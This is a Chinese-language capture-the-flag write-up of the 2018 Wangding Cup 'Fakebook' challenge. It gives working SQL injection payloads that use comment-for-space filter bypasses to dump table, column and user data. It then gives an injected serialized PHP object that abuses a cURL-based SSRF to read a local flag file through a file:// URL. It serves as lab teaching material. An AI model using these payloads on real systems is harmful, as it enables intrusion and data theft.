[网鼎杯 2018]Fakebook1

拿到题目后是一个博客的界面,这里可以登录和注册

[网鼎杯 2018]Fakebook1_第1张图片

点入登录界面,猜测可能是sql注入

[网鼎杯 2018]Fakebook1_第2张图片

试了很多次,都不是,也没有回显报错,所以把目光放到了注册上面

[网鼎杯 2018]Fakebook1_第3张图片

注册的其他行数据,差不多都可以乱填,只有一个blog项,估计是后台做了一些限制(必须包含某些字符之类的),随便填会报错

[网鼎杯 2018]Fakebook1_第4张图片

创建好点击博客进去后,在url栏会出现GET传参no = 2

可以尝试判断是否为注入点

[网鼎杯 2018]Fakebook1_第5张图片

一开始测试的是单引号闭合,但是它的回显时这样的,说明闭合符错误

因为出现上面的情况,所以猜测不是字符型注入,用了一点小方法,出现计算,说明是整数型注入

[网鼎杯 2018]Fakebook1_第6张图片

测试出,包含5个字段

[网鼎杯 2018]Fakebook1_第7张图片

当测试回显位时,该来的还是来了,有过滤

[网鼎杯 2018]Fakebook1_第8张图片

本来想看看是过滤了union还是select,结果单领出来都报语法错误,这里直接使用/**/代替空格,(union)select加括号也会报错

回显位是2

[网鼎杯 2018]Fakebook1_第9张图片

爆出数据库名称

[网鼎杯 2018]Fakebook1_第10张图片

注意注入语句的形式,如果把字段数放在后面会报错,爆出表名称

?no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
[网鼎杯 2018]Fakebook1_第11张图片

爆出user表中字段名称

?no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='users'
[网鼎杯 2018]Fakebook1_第12张图片

查询字段所有数据,但是没有flag

no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
[网鼎杯 2018]Fakebook1_第13张图片

只能查看wp了

得到关键信息,前面都没有注意这段报错信息,这里包含了一个反序列化函数,和一段路径,后面会用到

wp还提示说,扫描后台有文件

[网鼎杯 2018]Fakebook1_第14张图片

但是为毛我扫描不出来文件啊

直接用别人wp里面的访问吧,

访问robots.txt,获取到源码

name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }

    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }

    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }

    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }

}
这是一个 PHP 类的定义,名为 UserInfo。
该类有三个公共属性:$name,$age,$blog,分别表示用户的姓名、年龄和博客链接。
该类还有一个构造函数,用于初始化这三个属性的值。
此外,该类还有两个公共方法:getBlogContents() 和 isValidBlog()。
getBlogContents() 方法用于获取用户博客的内容,它通过调用 get() 方法实现。
isValidBlog() 方法用于验证用户提供的博客链接是否合法,它使用正则表达式进行判断。如果博客链接符合标准格式,则返回 true,否则返回 false。
    function get($url)
    {
        $ch = curl_init();

        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        $output = curl_exec($ch);
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);

        return $output;
    }
主要是这里,贼长一篇的选项,把我看烦了,差点就放弃了
这是一个 PHP 代码段,它定义了一个名为 get 的函数,该函数使用 cURL 库来获取给定 URL 的内容并返回。
具体来说,该函数使用了 curl_init() 函数初始化一个 cURL 会话,curl可以用来请求web服务器
然后使用curl_setopt() 函数设置一些选项:
CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置,后面的$url变量就是它的值
CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。使用PHP curl获取页面内容或提交数据,有时候希望返回的内容作为变量储存,而不是直接输出。这个时候就必需设置curl的CURLOPT_RETURNTRANSFER选项为1或true。

curl_exec函数是执行curl对话,这里赋值给了$output

curl_getinfo — 获取一个cURL连接资源句柄的信息,因为设置了CURLINFO_HTTP_CODE所以是返回最后一个http状态码
如果状态码不是404,就返回exec的结果。

结合起来得出结论,以上代码存在ssrf和反序列化,当我们注册后,把我们的信息序列化一下,然后存进data。在user界面,取出blog,获取资源。

路径是之前注入的时候报错爆出来的,序列化值也不用自己生成,之前注入出来了,改长度和值就行

flag.php也是被扫描出来的

?no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:2:"23";s:3:"age";i:12;s:4:"blog";s:27:"file:///var/www/html/flag.php";} '

可以看到回显页面的blog已经被更改,最后查看源码就能获得信息

[网鼎杯 2018]Fakebook1_第15张图片

这里就对应的blog的内容虽然经过了base64编码

[网鼎杯 2018]Fakebook1_第16张图片

[网鼎杯 2018]Fakebook1_第17张图片

你可能感兴趣的:(PHP,数据库)